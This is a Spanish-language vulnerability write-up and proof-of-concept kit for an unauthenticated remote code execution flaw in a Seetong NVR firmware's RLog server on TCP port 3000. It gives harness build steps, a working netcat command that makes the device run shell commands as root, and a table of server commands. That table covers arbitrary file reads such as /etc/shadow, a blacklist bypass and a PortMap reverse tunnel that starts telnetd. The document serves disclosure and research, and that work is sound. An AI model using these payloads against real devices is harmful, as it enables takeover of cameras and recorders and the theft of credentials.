
CVE-2026-100886 | Kit de herramientas de Ejecución Remota de Código sin autenticación.
El arnés demuestra que el libLOG.so del firmware inicia un servidor RLog
en TCP/3000. El análisis del despachador de comandos y las pruebas dinámicas
demuestran la ejecución de comandos del SO sin autenticación a través de ese servidor.
Carga el libLOG.so propio del firmware bajo qemu-arm, llama a TLog_Init()
y el servidor real se enlaza a 0.0.0.0:3000 y acepta conexiones entrantes
desde cualquier lugar con ninguna autenticación.
El firmware expone un servidor de comandos RLog sin autenticación en TCP/3000.
El despachador de comandos registra Cmd, que pasa la entrada controlada por el atacante
a TLog_CMD. TLog_CMD finalmente invoca el backend de ejecución de comandos
del firmware.
Por lo tanto:
Unauthenticated TCP connection
↓
RLog command dispatcher
↓
Cmd <attacker-controlled command>
↓
TLog_CMD
↓
mysystem()
↓
/bin/sh
↓
command execution
harness.c: versión persistente: levanta el servidor y duerme (usa esto para uso real)probe_harness.c: versión de sonda: también intenta sondas de comandos desde dentro del emulador (muestra el requisito de framing por byte de tipo)Si el firmware que el script de abajo usa para crear el sysroot ya no existe. Puedes obtenerlo de uno de estos (solo busca la imagen del nvr, el firmware está ampliamente distribuido):
Usé el firmware v4.6.1.4-build202604241011 para esto, otras versiones de firmware aún no han sido probadas, pero los revendedores downstream como fullward también lo tienen.
Ejecuta esto en el mismo directorio que los arneses
# Download and extract toolchain
wget https://gitlab.arm.com/api/v4/projects/tooling%2Fgnu-toolchains-for-arm/packages/generic/gnu-toolchain/15.3.rel1/arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf.tar.xz
tar -xvf arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf.tar.xz
TC=$(pwd)/arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf
# Creating the sysroot
wget http://www.tpsee.com/upload/firmware/update-ts81xxd3x-v4.6.1.4-build202604241011.bin
binwalk -Me update-ts81xxd3x-v4.6.1.4-build202604241011.bin
mkdir -p sysroot
cp -a "_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_rootfs.ts81xxd3x.extracted/squashfs-root/lib" sysroot/
cp "_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_app.ts81xxd3x.extracted/squashfs-root/lib/libLOG.so" \
"_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_app.ts81xxd3x.extracted/squashfs-root/lib/libmysystem.so" sysroot/lib/
$TC -march=armv7-a -mthumb -mfloat-abi=soft -nostdlib -ffreestanding -fno-builtin \
-Wl,--dynamic-linker,/lib/ld-uClibc.so.0 -Wl,-rpath,/lib -Wl,-e,_start -Wl,--export-dynamic \
harness.c -o harness -L sysroot/lib -lc
Este arnés proporciona implementaciones stub de los símbolos que libLOG.so importa de edvr
qemu-arm -L sysroot ./harness &
sleep 2
ss -tln | grep 3000
# -> LISTEN 0 5 0.0.0.0:3000 0.0.0.0:* (qemu user-mode forwards the emulated socket to the host)
Salida observada de probe_harness.c (no el usado en el script de arriba):
dlopen ok
TLog_Init() -> 0
--- probe port 3000 ---
connect port 3000 OK (x5 meaning every connection accepted)
REPLY: timeout/none (plain-text probes ignored: binary type-byte framing required)
➜ seetong-ts81xxd3x-rce printf 'Cmd cat /etc/os-release > /tmp/rlog_os.txt\r\n' | nc 127.0.0.1 3000
^C%
➜ seetong-ts81xxd3x-rce cat /tmp/rlog_os.txt
NAME="Artix Linux"
PRETTY_NAME="Artix Linux"
ID=artix
BUILD_ID=rolling
ANSI_COLOR="38;2;23;147;209"
HOME_URL="https://artixlinux.org/"
DOCUMENTATION_URL="https://wiki.artixlinux.org/"
SUPPORT_URL="https://forum.artixlinux.org/"
BUG_REPORT_URL="https://bugs.artixlinux.org/"
PRIVACY_POLICY_URL="https://terms.artixlinux.org/docs/privacy-policy/"
LOGO=artixlinux-logo
➜ seetong-ts81xxd3x-rce
Se muestra Artix Linux debido a que qemu en modo usuario comparte el sistema de archivos del host, ya que este PoC no lo aísla correctamente.
Divulgación de IA, el texto a continuación es generado por IA
LogModuleRegCmd @ 0x8f94)| Comando | Manejador | Efecto |
|---|---|---|
StartDebug, StartLog, SetLogLevel, Help, StartAutoTest | varios | control de logging/autotest |
GetSystemStatus, GetSystemInfo, GetSystemLog, GetSystemCfg | TLog_Get* | divulgación de info/config/logs |
GetSystemFile [abs names] | TLog_GetSystemFile (0x7a94) + TLog_SendFile (0x48f0) | lectura arbitraria de archivos (/etc/shadow, /usr/local/etc/user.db, ...) |
GetPrintfFile | TLog_GetPrintfFile | lectura de archivos |
Cmd [System commands] | TLog_CMD (0x3680) | ejecución de comandos shell como root |
PortMap on <ip> <port> / PortMap off | fcn.00008b76 | túnel TUN inverso + telnetd en el puerto 23 |
; \r \n).vi, cd, top, if, killcmd} (strcmp) — trivialmente evadible (cat, sh, comillas)."%s -b" → se ejecuta vía sh -c.ps -ef | grep "sh -c %s" |grep -v grep, '{print $1}' | xargs kill -9.mysystem() (libmysystem.so) → IPC a /usr/sbin/systemd (systemd falso, ejecuta vía /bin/sh como root; cadenas "[systemd cmd:]%s", "[systemd ret:]%d").Demo de lista negra (2026-08-04, servidor emulado):
Cmd vi > /tmp/bl_vi → dropped (no file created)
Cmd cat /etc/hostname > /tmp/bl_cat → executed (file contains hostname)
Cmd v''i > /tmp/bl_bypass → BLACKLIST BYPASSED (shell sees `vi`, strcmp sees `v''i`)
PortMap on <ip> <port> (espera 3 campos).portmap_client_start(ip, port) (0x88b0):
system("lsmod | grep -q '^tun\\b' || insmod /config/modules/4.9.84/tun.ko")/dev/net/tun, crea la interfaz tps0, ifconfig tps0 up/mnt/nand/yun_id.txt, /etc/product_type.txtsystem("touch /usr/local/etc/normal_telnet") (0x897e→0x8982)system("killall telnetd") (0x8c1e) y system("telnetd -p 23 &") (0x8c32).portmap_client_stop (0x8a48) → system("rm -f /usr/local/etc/normal_telnet"), ifconfig tps0 down.portmap_client_get_status, portmap_client_is_running, portmap_client_get_assigned_ip."usage: PortMap on <ip> <port> | PortMap off\n", "PortMap on: IP=%s, Port=%d\n", "PortMap start success! ret:%d", "PortMap stop success!"."rm %s/* -rf" (0xad10) — usado por la limpieza del directorio de logs (TLog_DeleteLogFile).El arnés (harness.c) hace dlopen de libLOG.so, stubea sus importaciones de edvr, llama a TLog_Init():
dlopen ok
TLog_Init() -> 0
Lado del host (passthrough de socket de qemu en modo usuario):
LISTEN 0 5 0.0.0.0:3000 0.0.0.0:* users:(("qemu-arm",pid=...,fd=0))